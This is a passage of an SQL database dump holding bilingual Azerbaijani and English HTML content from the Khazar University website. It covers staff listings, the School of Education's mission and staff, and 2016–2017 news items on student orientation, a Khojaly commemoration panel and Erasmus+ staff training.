rəhbəri</p><p><strong>Email:</strong>&nbsp;zsadigova[at]khazar.org  <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/CV-Eynur%20Mehdiyev.pdf\">Eynur Mehdiyev</a></strong><strong>&nbsp;</strong>– İngilis dili və Ədəbiyyatı departamentinin müdir müavini</p><p><strong>Email:</strong>&nbsp;emehdiyev[at]khazar.org</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/Elmar%20_CV.pdf\">Elmar Mustafayev </a></strong>- Siyasi elm və Beynəlxalq münasibətlər departamentinin koordinatoru</p><p><strong>Email:</strong> emustafayev[at]khazar.org</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/letters/Jabir_Mammadov-Last-Updated.pdf\">Cabir Məmmədli</a></strong><strong>&nbsp;</strong>- Jurnalistika departamentinin&nbsp; koordinatoru</p><p><strong>Email:</strong>&nbsp;cmammadli[at]khazar.org&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/CV.Pasha.E.pdf\">Paşa Aydayev</a> </strong>- Şura katibi</p><p><strong>Email:</strong> paydayev[a]khazar.org</p>\r\n<p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><img width=\"500\" height=\"357\" src=\"/files/image/15_10_14_cap.jpg\" v:shapes=\"Picture_x0020_1\" style=\"border:0px  #000000;width: 350px; height: 248px; margin: 7px; float: left;\"></p>\r\n<p style=\"font-size:medium\">&nbsp;</p>\r\n<p style=\"font-size:medium\">&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(4134,2415,'az','Hamlet İsaxanlı Meksika xalqına başsağlığı verdi','2017-ci il sentyabrın 11-də Xəzər Universitetinin Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Meksikanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 11-də\r\nXəzər Universitetinin Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı Meksikanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri\r\ncənab Rodrigo Labardiniyə məktub göndərmişdir. Məktubda sentyabrın 7-də\r\nMeksikada baş vermiş zəlzələ nəticəsində çoxsaylı insan tələfatı və dağıntı səbəbi\r\nilə, Meksika xalqına Xəzər Universiteti adından başsağlığı verilir.</p>'),(594,386,'az','İşçi heyəti','İşçi heyəti','<p><strong>Missiyası</strong></p><p>Ənənəvi olaraq, Azərbaycan xalqının təhsil ə marağı yüksəkdir. Sovet dövründə Azərbaycanda təhsilin yüksək səviyyədə olmasına baxmayaraq, Sovet sisteminin dağılması və sürətlə dəyişən mühitin tələblərinə uyğun olaraq təhsilin müxtəlif pillələrində- məktəbəqədər, ibtidai məktəb, orta məktəb, peşə məktəbi və ikiillik texniki kollec, habelə tam bakalavr və magistr təhsilində&nbsp;yeni yanaşmalara və təhsilin inkişafı üçün yaxşı hazırlanmış strategiyalara tələb artırdı.</p><p>Elmi bilik, peşəkar təlim və təcrübə toplusu müəllim, pedaqoq, alim və yöneticilərin yetişdirilməsinə dair &nbsp;bütün proqramların əsasını təşkil edir. Təhsil fakültəsinin &nbsp;əsas məqsədləri &nbsp;təhsilin müxtəlif sahələrində tədqiqat aparmaq üçün təhsil siyasəti və strategiyası hazırlamaq, təhsil, humanitar elmləri üzrə savadlı müəllimlər yetiştirmək və onları qabaqcıl bilik və müasir tədris metodları ilə təmin etməkdir. Bilik və bacarıqların ötürülməsinə xüsusi diqqət verilir ki, bu da tələbələrimizə milli dəyər və ənənələrimizi &nbsp; onların gələcək tədris, elmi-tədqiqat və insanın inkişaf fəaliyyətinin ümumbəşəri dəyər və normaları ilə birləşdirməyə imkan verəcək.</p><p>Təhsil fakültəsi&nbsp; təhsillə bağlı müxtəlif tədqiqat və fəaliyyətlə məşğul olur və bununla əlaqədar Təhsil Nazirliyi və bəzi özəl təhsil müəssisələri ilə əməkdaşlıq edir. Fakültə həmçinin&nbsp; təhsil, insan inkişafı habelə digər təhsil xidmətləri sahəsində mütəxəssislər üçün ixtisasartırma təklif edir.</p><p>Hal-hazırda fakültənin &nbsp;əsas məqsədi hər təhsil pilləsinə uyğun&nbsp; ixtisaaslı müəllim və pedaqoqlar yetişdirməkdir.</p><p>Fakültənin təklif etdiyi nəzəri, habelə tətbiqi fənlər &nbsp;son elmi nailiyyət və texnoloji inkişaf ilə daim maraqlanan və &nbsp;bu inkişafı öz tədris fəaliyyətlərinə tətbiq etmək qabiliyyəti və həvəsi olan perspektivli müəllimlərə &nbsp; peşəkar olmaq imkani verir.</p><p><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><img src=\"/files/14_10_30_Esemedova.JPG\" style=\"margin:7px;float:left;width:150px;height:192px\"><br></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Ph.D Elza Səmədova,<strong>&nbsp;Dekan</strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/CV. Elza_Semedli.pdf\">Elza&nbsp;Semedli</a></strong></p>  <p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><img src=\"/files/14_10_30_pic2.jpg\" style=\"margin:7px;float:left;width:150px;height:142px\"><br></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Zərifə Əliyeva,&nbsp;<strong>Tədris İşləri üzrə dekan müavini</strong>&nbsp;</strong></p><p><strong>&nbsp;<a href=\"http://www.khazar.org/files/CV Zarifa_Aliyeva.pdf\">Zarifa&nbsp;Aliyeva</a></strong></p>  <p><br></p><p><br></p><p><br></p><p><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><img src=\"/files/14_10_30_Aygun_Verdiyeva.jpg\" style=\"margin:7px;width:150px;height:214px;float:left\"></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><br></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Aygün Verdiyeva,<strong>Tələbə İşləri üzrə dekan müavini&nbsp;</strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/CV Aygun_Verdiyeva.pdf\">Aygun&nbsp;Verdiyeva</a></strong></p>  <p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><img src=\"/files/14_10_30_Aysel__Tagiyeva.jpg\" style=\"margin:7px;float:left;width:150px;height:288px\"><br></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><br></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Aysel Tağıyeva,&nbsp;<strong>dekan assistenti</strong>&nbsp;</strong></p><p><strong><a href=\"http://www.khazar.org/files/CV_Aysel_Taghiyeva.pdf\">Aysel&nbsp;Taghiyeva</a></strong></p><p><strong>&nbsp;</strong></p>  <p><br></p>'),(595,386,'en','Staff','Staff','<p>&nbsp;</p><p><strong>Mission&nbsp;<br></strong></p><p>Traditionally, the people of Azerbaijan have been education-oriented. Although during the Soviet period a high level of education was reached in Azerbaijan, collapse of the Soviet system and a rapidly changing environment required new approaches and well-prepared strategies for development of education on all levels – preschool, primary school, secondary school, vocational and two-year technical colleges as well as full undergraduate and graduate studies.</p><p>Organic unity of academic knowledge, professional training and practice is the foundation of all programs concerning preparation of teachers, educators, scholars and administrators. Accordingly, the main objectives of the School of Education are to conduct research in various fields of education, to develop educational policy and strategy, and to nurture future teachers with a breadth of knowledge in education, humanities, and sciences and equip them with advanced skills and modern teaching methods. Special attention is paid to transferring skills and knowledge that would enable the students to creatively combine national values and traditions with universal values and norms in their future teaching, research and human development activities.</p><p>The School of Education is engaged in various research and consultation activities in relation to education and for this purpose it cooperates with the Ministry of Education and with some private educational institutions.</p><p>The School also provides in-service training for professionals in the field of education and human development as well as other educational services.</p><p>At present, the major aim of the School is to train teachers and educators qualified to teach at every educational level. The theoretical as well as applied courses that the School offers enable prospective teachers to become professionals who are constantly in touch with recent scientific and technological developments and who have the willingness and capacity to apply these developments to their own teaching activities.</p><p><br></p><p><br></p><p><br></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p><strong><img src=\"/files/14_10_30_Esemedova.JPG\" style=\"margin:7px;width:150px;height:192px;float:left\"><br></strong></p><h4><strong>Ph.D Elza Semedova,&nbsp;<strong>Dean of the School</strong></strong></h4><h4><strong><a href=\"http://www.khazar.org/files/CV. Elza_Semedli.pdf\">Elza&nbsp;Semedli</a></strong></h4>  <div><strong><br></strong></div><p><br></p><p><br></p><p><br></p><p><br></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><img src=\"/files/14_10_30_pic2.jpg\" style=\"margin:7px;width:150px;height:142px;float:left\"><br></strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><br></strong></p><h4><strong>Zarifa Aliyeva,&nbsp;<strong>Vice-Dean for Academic Affairs</strong></strong></h4><h4><strong>&nbsp;</strong><strong><a href=\"http://www.khazar.org/files/CV Zarifa_Aliyeva.pdf\">Zarifa&nbsp;Aliyeva</a></strong></h4>  <p><br></p><p><br></p><p><br></p><p><br></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><img src=\"/files/14_10_30_Aygun_Verdiyeva.jpg\" style=\"margin:7px;width:150px;height:214px;float:left\"><br></strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><br></strong></p><h4><strong>Aygun Verdiyeva,<strong>Vice-Dean or Student Affairs</strong></strong></h4><h4><strong><a href=\"http://www.khazar.org/files/CV Aygun_Verdiyeva.pdf\">Aygun&nbsp;Verdiyeva</a></strong></h4>  <p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p> <p><strong><img src=\"/files/14_10_30_Aysel__Tagiyeva.jpg\" style=\"margin:7px;width:150px;height:288px;float:left\"><br></strong></p><h4><strong>Aysel Tagiyeva,&nbsp;<strong><strong>Dean-assisstant</strong></strong></strong>  <br></h4><p></p><h4><a href=\"http://www.khazar.org/files/CV_Aysel_Taghiyeva.pdf\"><strong>Aysel Tagiyeva</strong> </a></h4> <br><p></p><div id=\"page-wrapper\" style=\"font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;background-attachment:initial;background-color:#ffffff;background-size:initial;background-origin:initial;background-clip:initial;background-position-y:0px;background:#ffffff \"><div id=\"page-content\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;padding:7px 10px 0px 14px;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:0px 0px;background: \"><p style=\"margin:0px;padding:0px\"><br></p></div></div>'),(596,392,'en','Orientation Session for International Students','On February 27, 2016, the International Affairs Office staff and volunteers carried out an orientation session for international students who joined Khazar University in the Spring semester...','<p>On\r\nFebruary 27, 2016, the International Affairs Office staff and volunteers\r\ncarried out an orientation session for international students who joined Khazar\r\nUniversity in the Spring semester of the current academic year (2015-2016). The\r\norientation session took place on the Neftchilar Campus. </p>\r\n<p>&nbsp;</p>\r\n<p>The main goal of the\r\norientation session was to equip the students with important information that\r\nwould help them navigate the university environment, Azerbaijan and Baku as\r\nwell as to give them a chance to meet other international students. Topics\r\ncovered during the orientation session included but were not limited to:\r\nacademic and social life at Khazar University, history of Azerbaijan, local\r\nculture and traditions, transportations system, annual events in Baku, etc.</p>\r\n<p>Participants\r\nincluded new full-time students from Cameroon, Gambia, Palestine, Yemen, and\r\nZimbabwe, as well as exchange students from Italy, Poland, and Portugal.\r\nCurrent international students also participated in the session and shared\r\ntheir experience with their fellow international students who had arrived in\r\nAzerbaijan recently and had just started their academic programs.&nbsp;</p>'),(597,392,'az','Əcnəbi tələbələr üçün oriyentasiya sessiyası keçirildi','2016-cı il fevralın 27-də Beynəlxalq Əlaqələr Şöbəsinin işçi və könüllüləri cari tədris ilinin (2015/2016) yaz semestrində Xəzər Universitetinə qoşulmuş əcnəbi tələbələr üçün oriyentasiya sessiyası keçirdilər...','<p>2016-cı il fevralın 27-də Beynəlxalq Əlaqələr Şöbəsinin işçi və\r\nkönüllüləri cari tədris ilinin (2015/2016) yaz semestrində Xəzər Universitetinə\r\nqoşulmuş əcnəbi tələbələr üçün oriyentasiya sessiyası keçirdilər. Sessiya\r\nuniversitetin “Neftçilər” kampusunda baş tutdu.</p>\r\n<p>Oriyentasiya sessiyasının əsas məqsədi tələbələri universitet mühiti,\r\nAzərbaycan və Bakıda rahat hərəkət edə bilmələri üçün vacib məlumatlarla təmin\r\netmək, həmçinin, onları digər əcnəbi tələbələrlə görüşdürmək idi. Sessiya\r\nzamanı iştirakçılara Xəzər Universitetində akademik və sosial həyat, Azərbaycan\r\ntarixi, yerli mədəniyyət və adətlər, nəqliyyat sistemi, Bakıda keçirilən illik\r\ntədbirlər və bir çox başqa mövzularla bağlı informasiya verildi.</p>\r\n<p>İştirakçılar Kamerun, Qambiya, Fələstin, Yəmən, Zimbabvedən olan yeni\r\nəyani tələbələr, həmçinin, İtaliya, Polşa və Portuqaliyadan olan mübadilə tələbələrindən\r\nibarət idi. Hazırkı əcnəbi tələbələr də sessiyada iştirak edirdilər. Onlar Azərbaycana\r\nbu yaxınlarda gəlmiş və tədris proqramlarına yenicə başlamış digər əcnəbi öz təcrübələrini\r\ntələbələrlə bölüşdülər.</p>'),(598,391,'en','Orientation Session for International Students','On February 27, 2016, the International Affairs Office staff and volunteers carried out an orientation session for international students who joined Khazar University in the Spring semester of the current academic year (2015-2016). The orientation session took place on the Neftchilar Campus.','<p>On\r\nFebruary 27, 2016, the International Affairs Office staff and volunteers\r\ncarried out an orientation session for international students who joined Khazar\r\nUniversity in the Spring semester of the current academic year (2015-2016). The\r\norientation session took place on the Neftchilar Campus. </p>\r\n<p>&nbsp;</p>\r\n<p>The main goal of the\r\norientation session was to equip the students with important information that\r\nwould help them navigate the university environment, Azerbaijan and Baku as\r\nwell as to give them a chance to meet other international students. Topics\r\ncovered during the orientation session included but were not limited to:\r\nacademic and social life at Khazar University, history of Azerbaijan, local\r\nculture and traditions, transportations system, annual events in Baku, etc.</p>\r\n<p>Participants\r\nincluded new full-time students from Cameroon, Gambia, Palestine, Yemen, and\r\nZimbabwe, as well as exchange students from Italy, Poland, and Portugal.\r\nCurrent international students also participated in the session and shared\r\ntheir experience with their fellow international students who had arrived in\r\nAzerbaijan recently and had just started their academic programs.&nbsp;</p>'),(599,391,'az','Əcnəbi tələbələr üçün oriyentasiya sessiyası keçirildi','2016-cı il fevralın 27-də Beynəlxalq Əlaqələr Şöbəsinin işçi və könüllüləri cari tədris ilinin (2015/2016) yaz semestrində Xəzər Universitetinə qoşulmuş əcnəbi tələbələr üçün oriyentasiya sessiyası keçirdilər. Sessiya universitetin “Neftçilər” kampusunda baş tutdu.','<p>2016-cı il fevralın 27-də Beynəlxalq Əlaqələr Şöbəsinin işçi və\r\nkönüllüləri cari tədris ilinin (2015/2016) yaz semestrində Xəzər Universitetinə\r\nqoşulmuş əcnəbi tələbələr üçün oriyentasiya sessiyası keçirdilər. Sessiya\r\nuniversitetin “Neftçilər” kampusunda baş tutdu.</p>\r\n<p>Oriyentasiya sessiyasının əsas məqsədi tələbələri universitet mühiti,\r\nAzərbaycan və Bakıda rahat hərəkət edə bilmələri üçün vacib məlumatlarla təmin\r\netmək, həmçinin, onları digər əcnəbi tələbələrlə görüşdürmək idi. Sessiya\r\nzamanı iştirakçılara Xəzər Universitetində akademik və sosial həyat, Azərbaycan\r\ntarixi, yerli mədəniyyət və adətlər, nəqliyyat sistemi, Bakıda keçirilən illik\r\ntədbirlər və bir çox başqa mövzularla bağlı informasiya verildi.</p>\r\n<p>İştirakçılar Kamerun, Qambiya, Fələstin, Yəmən, Zimbabvedən olan yeni\r\nəyani tələbələr, həmçinin, İtaliya, Polşa və Portuqaliyadan olan mübadilə tələbələrindən\r\nibarət idi. Hazırkı əcnəbi tələbələr də sessiyada iştirak edirdilər. Onlar Azərbaycana\r\nbu yaxınlarda gəlmiş və tədris proqramlarına yenicə başlamış digər əcnəbi öz təcrübələrini\r\ntələbələrlə bölüşdülər.</p>'),(600,393,'az','Əcnəbi tələbələr üçün oriyentasiya sessiyası keçirildi','2016-cı il fevralın 27-də Beynəlxalq Əlaqələr Şöbəsinin işçi və könüllüləri cari tədris ilinin (2015/2016) yaz semestrində Xəzər Universitetinə qoşulmuş əcnəbi tələbələr üçün oriyentasiya sessiyası keçirdilər. Sessiya universitetin “Neftçilər” kampusunda baş tutdu.','<p>2016-cı il fevralın 27-də Beynəlxalq Əlaqələr Şöbəsinin işçi və\r\nkönüllüləri cari tədris ilinin (2015/2016) yaz semestrində Xəzər Universitetinə\r\nqoşulmuş əcnəbi tələbələr üçün oriyentasiya sessiyası keçirdilər. Sessiya\r\nuniversitetin “Neftçilər” kampusunda baş tutdu.</p>\r\n<p>Oriyentasiya sessiyasının əsas məqsədi tələbələri universitet mühiti,\r\nAzərbaycan və Bakıda rahat hərəkət edə bilmələri üçün vacib məlumatlarla təmin\r\netmək, həmçinin, onları digər əcnəbi tələbələrlə görüşdürmək idi. Sessiya\r\nzamanı iştirakçılara Xəzər Universitetində akademik və sosial həyat, Azərbaycan\r\ntarixi, yerli mədəniyyət və adətlər, nəqliyyat sistemi, Bakıda keçirilən illik\r\ntədbirlər və bir çox başqa mövzularla bağlı informasiya verildi.</p>\r\n<p>İştirakçılar Kamerun, Qambiya, Fələstin, Yəmən, Zimbabvedən olan yeni\r\nəyani tələbələr, həmçinin, İtaliya, Polşa və Portuqaliyadan olan mübadilə tələbələrindən\r\nibarət idi. Hazırkı əcnəbi tələbələr də sessiyada iştirak edirdilər. Onlar Azərbaycana\r\nbu yaxınlarda gəlmiş və tədris proqramlarına yenicə başlamış digər əcnəbi öz təcrübələrini\r\ntələbələrlə bölüşdülər.</p>'),(601,393,'en','Orientation Session for International Students','On February 27, 2016, the International Affairs Office staff and volunteers carried out an orientation session for international students who joined Khazar University in the Spring semester of the current academic year (2015-2016). The orientation session took place on the Neftchilar Campus.','<p>On\r\nFebruary 27, 2016, the International Affairs Office staff and volunteers\r\ncarried out an orientation session for international students who joined Khazar\r\nUniversity in the Spring semester of the current academic year (2015-2016). The\r\norientation session took place on the Neftchilar Campus. </p>\r\n<p>&nbsp;</p>\r\n<p>The main goal of the\r\norientation session was to equip the students with important information that\r\nwould help them navigate the university environment, Azerbaijan and Baku as\r\nwell as to give them a chance to meet other international students. Topics\r\ncovered during the orientation session included but were not limited to:\r\nacademic and social life at Khazar University, history of Azerbaijan, local\r\nculture and traditions, transportations system, annual events in Baku, etc.</p>\r\nParticipants included\r\nnew full-time students from Cameroon, Gambia, Palestine, Yemen, and Zimbabwe,\r\nas well as exchange students from Italy, Poland, and Portugal. Current\r\ninternational students also participated in the session and shared their\r\nexperience with their fellow international students who had arrived in\r\nAzerbaijan recently and had just started their academic programs.'),(602,394,'az','Təsisçi “Beynəlxalq Xocalı Paneli”ndə','2016-cı il fevralın 26-da “Azad Azərbaycan” (ATV) tele-radio şirkətinin rəsmi internet səhifəsində (atv.az) Ankarada keçirilmiş “Beynəlxalq Xocalı Paneli” haqqında yazı yayınlanmışdır...','<p>2016-cı il fevralın 26-da “Azad Azərbaycan”\r\n(ATV) tele-radio şirkətinin rəsmi internet səhifəsində (<strong><em>atv.az</em></strong>)\r\nAnkarada\r\nkeçirilmiş “Beynəlxalq Xocalı Paneli” haqqında yazı yayınlanmışdır. </p>\r\n<p>“Beynəlxalq Xocalı Paneli”ndə Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı da iştirak edirdi.</p>\r\n<p>Xatırladak ki, fevralın 23-də Türkiyənin\r\npaytaxtı Ankara şəhərində Qloballaşan Azərbaycan Sivil İnkişaf Mərkəzi (QASİM),\r\nAzərbaycan “Yeni Çağ” Analitik İnternet qəzeti (<a href=\"http://www.yenicag.az\">www.yenicag.az</a>) və <strong><em>Xeber365.com</em></strong>\r\nxəbər portalının təşkilatçılığı ilə Xocalı Soyqırımının 24-cü ildönümünə həsr\r\nolunmuş beynəlxalq panel hər iki ölkə rəsmilərinin, diplomatların, elm və\r\nictimaiyyət xadimlərinin iştirakı ilə baş tutmuşdu. </p>\r\n<p>Tədbirlə bağlı geniş materialı bu linkdən əldə\r\netmək olar:</p>\r\n<p><a href=\"http://news.atv.az/az/world/61284-ankarada-mohtesem-beynelxalq-xocali-paneli-bas-tutdu\">http://news.atv.az/az/world/61284-ankarada-mohtesem-beynelxalq-xocali-paneli-bas-tutdu</a></p>\r\n<p>&nbsp;</p>'),(603,394,'en','Founder on International Khojaly Panel','On February 26, 2016, an article was published on the Azad Azerbaijan (ATV) broadcasting company’s website (atv.az) about the International Khojaly Panel that took place in Ankara...','<p>On February 26, 2016, an article was\r\npublished on the Azad Azerbaijan (ATV) broadcasting company’s website (atv.az)\r\nabout the International Khojaly Panel that took place in Ankara, Turkey. </p>\r\n<p>Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees,\r\nparticipated in the International Khojaly Panel. The Panel took place in Ankara\r\non February 23 as organized by Globalizing Azerbaijan Civil Development Center,\r\nAzerbaijan’s “New Era” Analytic Internet Newspaper (<a href=\"http://www.yenicag.az\">www.yenicag.az</a>) and the <strong><em>Xeber365.com</em></strong>\r\nnews website. The Panel was dedicated to the 24<sup>th</sup> anniversary of the\r\nKhojaly tragedy. It included the participation of officials, diplomats,\r\nscholars and public servants from both countries. </p>\r\n<p>For more details, see the following\r\narticle about the event: </p>\r\n<p><a href=\"http://news.atv.az/az/world/61284-ankarada-mohtesem-beynelxalq-xocali-paneli-bas-tutdu\">http://news.atv.az/az/world/61284-ankarada-mohtesem-beynelxalq-xocali-paneli-bas-tutdu</a></p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(604,397,'az','Təsisçi “Beynəlxalq Xocalı Paneli”ndə','2016-cı il fevralın 26-da “Azad Azərbaycan” (ATV) tele-radio şirkətinin rəsmi internet səhifəsində (atv.az) Ankarada keçirilmiş “Beynəlxalq Xocalı Paneli” haqqında yazı yayınlanmışdır.','<p>2016-cı il fevralın 26-da “Azad Azərbaycan”\r\n(ATV) tele-radio şirkətinin rəsmi internet səhifəsində (<strong><em>atv.az</em></strong>)\r\nAnkarada\r\nkeçirilmiş “Beynəlxalq Xocalı Paneli” haqqında yazı yayınlanmışdır. </p>\r\n<p>“Beynəlxalq Xocalı Paneli”ndə Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı da iştirak edirdi.</p>\r\n<p>Xatırladak ki, fevralın 23-də Türkiyənin\r\npaytaxtı Ankara şəhərində Qloballaşan Azərbaycan Sivil İnkişaf Mərkəzi (QASİM),\r\nAzərbaycan “Yeni Çağ” Analitik İnternet qəzeti (<a href=\"http://www.yenicag.az\">www.yenicag.az</a>) və <strong><em>Xeber365.com</em></strong>\r\nxəbər portalının təşkilatçılığı ilə Xocalı Soyqırımının 24-cü ildönümünə həsr\r\nolunmuş beynəlxalq panel hər iki ölkə rəsmilərinin, diplomatların, elm və\r\nictimaiyyət xadimlərinin iştirakı ilə baş tutmuşdu. </p>\r\n<p>Tədbirlə bağlı geniş materialı bu linkdən əldə\r\netmək olar:</p>\r\n<a href=\"http://news.atv.az/az/world/61284-ankarada-mohtesem-beynelxalq-xocali-paneli-bas-tutdu\">http://news.atv.az/az/world/61284-ankarada-mohtesem-beynelxalq-xocali-paneli-bas-tutdu</a>'),(605,397,'en','Founder on International Khojaly Panel','On February 26, 2016, an article was published on the Azad Azerbaijan (ATV) broadcasting company’s website (atv.az) about the International Khojaly Panel that took place in Ankara, Turkey.','<p>On February 26, 2016, an article was\r\npublished on the Azad Azerbaijan (ATV) broadcasting company’s website (atv.az)\r\nabout the International Khojaly Panel that took place in Ankara, Turkey. </p>\r\n<p>Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees,\r\nparticipated in the International Khojaly Panel. The Panel took place in Ankara\r\non February 23 as organized by Globalizing Azerbaijan Civil Development Center,\r\nAzerbaijan’s “New Era” Analytic Internet Newspaper (<a href=\"http://www.yenicag.az\">www.yenicag.az</a>) and the <strong><em>Xeber365.com</em></strong>\r\nnews website. The Panel was dedicated to the 24<sup>th</sup> anniversary of the\r\nKhojaly tragedy. It included the participation of officials, diplomats,\r\nscholars and public servants from both countries. </p>\r\n<p>For more details, see the following\r\narticle about the event: </p>\r\n<p><a href=\"http://news.atv.az/az/world/61284-ankarada-mohtesem-beynelxalq-xocali-paneli-bas-tutdu\">http://news.atv.az/az/world/61284-ankarada-mohtesem-beynelxalq-xocali-paneli-bas-tutdu</a></p>'),(606,399,'az','“Xəzər”in tələbəsi psixologiyadan yazdı','2016-cı il fevralın 22-də day.az xəbər saytında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin tələbəsi Nərmin Quliyevanın Psixologiya və Konsultasiya Mərkəzinin rəhbəri...','<p>2016-cı il\r\nfevralın 22-də <strong><em>day.az</em></strong> xəbər saytında Xəzər Universiteti Humanitar\r\nvə sosial elmlər fakültəsinin tələbəsi Nərmin\r\nQuliyevanın Psixologiya və Konsultasiya Mərkəzinin rəhbəri, psixoloq Elnur Rüstəmovla\r\nbirlikdə hazırladıqları ““Hamı məni bəyənməlidir”: Sosial fobiya nədir?” adlı məqalə\r\nyayınlanmışdır.</p>\r\n<p>Məqalə\r\nilə tam şəkildə bu link vasitəsilə tanış olmaq olar:</p>\r\n<p><a href=\"http://news.day.az/azerinews/752035.html\">http://news.day.az/azerinews/752035.html</a>.</p>'),(2085,1279,'en','Specialty selection for Bachelor level applicants ','The selection of specialties of students wanting to admit to Khazar University during 2016-2017 academic years is in progress...','<p>The selection of specialties of students wanting to admit to Khazar \r\nUniversity during 2016-2017 academic years is in progress. The selection\r\n of specialties will be conducted through the Internet from July 29 \r\nuntil August 10. The list of students admitted to Khazar University will\r\n be announced on August 15. The registration of admitted students will \r\nbe during 15-25 August.  </p>'),(607,399,'en','Khazar Student Publishes Psychology Article','On February 22, 2016, an article co-authored by Narmin Guliyeva, student of Khazar University’s School of Humanities and Social Sciences, and psychologist Elnur Rustamov...','<p>On\r\nFebruary 22, 2016, an article co-authored by Narmin Guliyeva, student of Khazar\r\nUniversity’s School of Humanities and Social Sciences, and psychologist Elnur\r\nRustamov, director of the Psychology and Counseling Center, was published on\r\nthe day.az news website. The article, entitled “‘Everyone should like me:’ What\r\nis a Social Phobia?” is available in full text (in Azerbaijani) at the\r\nfollowing link: <a href=\"http://news.day.az/azerinews/752035.html\">http://news.day.az/azerinews/752035.html</a>.</p>\r\n<p>&nbsp;</p>'),(608,400,'en','Faculty Members Participate in Staff Mobility Training ','On 7-12 February, Vafa Aslanova, Vice Dean of the School of Engineering, and Nurana Farhadova, Coordinator of the English Language Department, participated in the 1st combined Erasmus+ European (KA103) and International Credit Mobility (KA107) Staff Mobility Training Week: Changing Lives through Mobility and Cross-border Cooperation which was held at Middlesex University, London, UK.','<p style=\"\" margin-bottom:7.5pt;background:white\"\"=\"\">On\r\n7-12 February, Vafa Aslanova, Vice Dean of the School of Engineering, and\r\nNurana Farhadova, Coordinator of the English Language Department, participated\r\nin the 1<sup>st</sup> combined Erasmus+ European (KA103) and International\r\nCredit Mobility (KA107) Staff Mobility Training Week: <em>Changing Lives through\r\nMobility and Cross-border Cooperation</em> which was held at Middlesex\r\nUniversity, London, UK. The main objective of the\r\ntraining was for members to gain international experience. 33 participants from\r\n20 countries participated in the training. On February 9<sup>th</sup>, 8\r\nparticipants made presentations on 4 topics. Nurana Farhadova made a\r\npresentation on “Development and Quality of Cooperation Agreements.” The\r\ntraining concluded with a Study Abroad Fair with invited partners.</p>'),(609,400,'az','Xəzər Universitetinin əməkdaşları “İşçi 